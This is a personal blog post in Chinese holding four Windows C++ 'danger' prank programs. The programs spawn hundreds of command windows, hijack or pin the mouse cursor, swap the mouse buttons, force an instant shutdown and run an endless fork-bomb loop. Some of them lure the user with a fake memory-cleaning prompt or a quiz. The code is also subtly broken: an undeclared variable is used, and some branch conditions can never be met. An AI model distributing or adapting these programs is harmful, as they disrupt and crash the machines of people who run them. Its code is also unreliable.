跳到正文

个人记录

危

why_1006约 6 分钟
原文
文章信息与版本

文章信息

发布
2025年7月19日
收录
2025年12月12日
更新
2026年11月11日
篇幅
约 6 分钟

版本

  1. v2当前
  2. v1

危1之乱飞鼠标

C++
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;

int main(){
	int kuan=GetSystemMetrics(SM_CXFULLSCREEN);
	int cgao=GetSystemMetrics(SM_CYFULLSCREEN);

	srand(time(0));

	for(int i=0;i<666;++i){
		system ("start cmd");

		int x = rand() % kuan;
		int y = rand() % gao;
		SetCursorPos(x, y);
		Sleep(100);
	}

	Sleep(2000);

	system("shutdown /s /t 0");

	return 0;
}
/*

	  ∧-----∧
	 /  ?﹏?  \
	 \         /
	 /         \
	/  ∪   ∪  \
	/             \
	\   ∪   ∪   /
	\_____  ____/
    	  \ \      ╱|
    	   \ \    / /
    	    \ \__/ /
    	     \____/

*/

危2之固定鼠标

C++
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;

int main(){
	int kuan=GetSystemMetrics(SM_CXFULLSCREEN);
	int cgao=GetSystemMetrics(SM_CYFULLSCREEN);

	srand(time(0));

	for(int i=0;i<666;++i){
		system ("start cmd");

		int x = kuan/2;
		int y = gao/2;
		SetCursorPos(x, y);
		Sleep(100);
	}

	Sleep(2000);

	system("shutdown /s /t 0");

	return 0;
}
/*

	  ∧-----∧
	 /  ?﹏?  \
	 \         /
	 /         \
	/  ∪   ∪  \
	/             \
	\   ∪   ∪   /
	\_____  ____/
    	  \ \      ╱|
    	   \ \    / /
    	    \ \__/ /
    	     \____/

*/

危3之清理内存

C++
#include<windows.h>
#include<iostream>
using namespace std;

int main() {
	char n;
	cout << "是否清理内存?			1	是		2	否";
	Sleep(1000);
	cin >> n;
	Sleep(1000);
	if(n=='1') cout << "好的,开始清理内存...";
	Sleep(1000);
	if(n=='2') cout << "好的开始关机...";
	Sleep(1000);
	if(n!='1' && n!='2') cout << "让你乱写,惩罚开始...";
	Sleep(1000);

	for(int i=0;i<200;++i) system("start cmd");
}

危4之困难选择

C++
#include<bits/stdc++.h>
#include<windows.h>
#include <stdio.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
using namespace std;
int main(){
	char a;
	cout<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<"                                       杀手给你三样东西你要什么?"<<'\n'<<'\n'<<"                                       A.金子 B.匕首 C.手机 D.都不 E.都要";
	cin>>a;
	if(a=='A'&&a=='B'&&a=='C'){
		system("cls");
        srand(time(0));
		cout<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<"                                       贪婪!";
		Sleep(4517);
		while(true){
			malloc(1000);
			system("start cmd");
		}
	}
	else if(a=='D'&&a=='E'){
		system("cls");
        srand(time(0));
		cout<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<"                                       叛逆!";
		Sleep(4517);
		system("cls");
		system("shutdown -s -t 3");
	}
	else if(a=='S'){
		system("cls");
        srand(time(0));
		cout<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<"                                       你活了。";
	}
	else{
		system("cls");
        srand(time(0));
		cout<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<'\n'<<"                                       你崩溃了。";
		Sleep(4517);
		while(true){
			SwapMouseButton(1);
			SetCursorPos(1,1);
			ShowCursor(FALSE);
			SetCursorPos(rand()%1000,rand()%1000);
		}
	}
	return 0;
}
原文